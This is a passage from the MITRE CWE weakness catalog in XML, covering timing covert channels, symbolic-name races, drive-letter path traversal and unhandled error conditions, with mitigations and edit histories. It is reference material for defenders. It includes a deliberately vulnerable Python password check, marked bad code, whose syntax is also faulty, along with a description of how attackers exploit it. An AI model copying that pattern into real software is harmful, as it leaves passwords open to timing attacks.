					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">J2EE Bad Practices:
						Threads</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Bad Practices: Use of
						Threads</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="385" Name="Covert Timing Channel" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Covert timing channels convey information by modulating some
					aspect of system behavior over time, so that the program receiving the
					information can observe system behavior and infer protected
					information.</Description_Summary>
				        <Extended_Description>
					          <Text> In some instances, knowing when data is transmitted between parties can
						provide a malicious user with privileged information. Also, externally
						monitoring the timing of operations can potentially reveal sensitive data.
						For example, a cryptographic operation can expose its internal state if the
						time it takes to perform the operation varies, based on the state. </Text>
					          <Text>Covert channels are frequently classified as either storage or timing
						channels. Some examples of covert timing channels are the system's paging
						rate, the time a certain transaction requires to execute, and the time it
						takes to gain access to a shared bus.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>514</Relationship_Target_ID>
					          <!--Covert Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Information exposure.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Whenever possible, specify implementation strategies that do not
							introduce time variances in operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Often one can artificially manipulate the time which operations take
							or -- when operations occur -- can remove information from the
							attacker.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>It is reasonable to add artificial or random delays so that the amount
							of CPU time consumed is independent of the action being taken by the
							application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def validate_password(actual_pw, typed_pw):</Code>
							              <Block>
								                <Code>if len(actual_pw) &lt;&gt; len(typed_pw):</Code>
								                <Block>
									                  <Code>return 0</Code>
								                </Block>
								                <Code>for i in len(actual_pw):</Code>
								                <Block>
									                  <Code>if actual_pw[i] &lt;&gt; typed_pw[i]:</Code>
									                  <Block>
										                    <Code>return 0</Code>
									                  </Block>
								                </Block>
								                <Code>return 1</Code>
							              </Block>
						            </Block>
						            <Text>In this example, the attacker can observe how long an authentication
							takes when the user types in the correct password. When the attacker
							tries his own values, he can first try strings of various length. When
							he finds a string of the right length, the computation will take a bit
							longer because the for loop will run at least once. Additionally, with
							this code, the attacker can possibly learn one character of the password
							at a time, because when he guesses the first character right, the
							computation will take longer than when he guesses wrong. Such an attack
							can break even the most sophisticated password with a few hundred
							guesses. Note that, in this example, the actual password must be handled
							in constant time, as far as the attacker is concerned, even if the
							actual password is of an unusual length. This is one reason why it is
							good to use an algorithm that, among other things, stores a seeded
							cryptographic one-way hash of the password, then compare the hashes,
							which will always be of the same length.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Timing</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Covert Timing Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>462</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="386" Name="Symbolic Name not Mapping to Correct Object" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A constant symbolic reference to an object is used, even though
					the reference can resolve to a different object over time.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>486</Relationship_Target_ID>
					          <!--Comparison of Classes by Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker can gain access to otherwise unauthorized
							resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Race conditions such as this kind may be employed to gain read or
							write access to resources not normally readable or writable by the user
							in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The resource in question, or other resources (through the corrupted
							one) may be changed in undesirable ways by a malicious user.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a file or other resource is written in this method, as opposed to a
							valid way, logging of the activity may not occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases it may be possible to delete files that a malicious user
							might not otherwise have access to -- such as log files.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Symbolic name not mapping to correct object</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="39" Name="Path Traversal: 'C:dirname'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An attacker can inject a drive letter or Windows volume letter
					('C:dirname') into a software system to potentially redirect access to an
					unintended location or arbitrary file.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>36</Relationship_Target_ID>
					          <!--Absolute Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to create or overwrite critical files that
							are used to execute code, such as programs or libraries.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite or create critical files, such
							as programs, libraries, or important data. If the targeted file is used
							for a security mechanism, then the attacker may be able to bypass that
							mechanism. For example, appending a new account at the end of a password
							file may allow an attacker to bypass authentication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able read the contents of unexpected files and
							expose sensitive data. If the targeted file is used for a security
							mechanism, then the attacker may be able to bypass that mechanism. For
							example, by reading a password file, the attacker could conduct brute
							force password guessing attacks in order to break into an account on the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite, delete, or corrupt unexpected
							critical files such as programs, libraries, or important data. This may
							prevent the software from working at all and in the case of a protection
							mechanisms such as authentication, it has the potential to lockout every
							user of the software.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0038</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files by
						specifying the drive letter in the requested URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0255</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to list
						arbitrary directories by using the "ls" command and including the drive
						letter name (e.g. C:) in the requested pathname.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0687</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows a remote attacker to retrieve
						privileged system information by specifying arbitrary paths.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0933</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to list the
						contents of arbitrary drives via a ls command that includes the drive letter
						as an argument. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0466</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to browse
						arbitrary directories via a full pathname in the arguments to certain
						dynamic pages. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1483</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via an
						HTTP request whose argument is a filename of the form "C:" (Drive letter),
						"//absolute/path", or ".." . </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2488</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server read/access arbitrary files using "C:\"
						filenames</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'C:dirname' or C: (Windows volume or 'drive
						letter')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Drive Letter or
						Windows Volume - 'C:dirname'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="390" Name="Detection of Error Condition Without Action" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software detects a specific error, but takes no actions to
					handle the error.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>401</Relationship_Target_ID>
					          <!--Improper Release of Memory Before Removing Last Reference ('Memory Leak')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
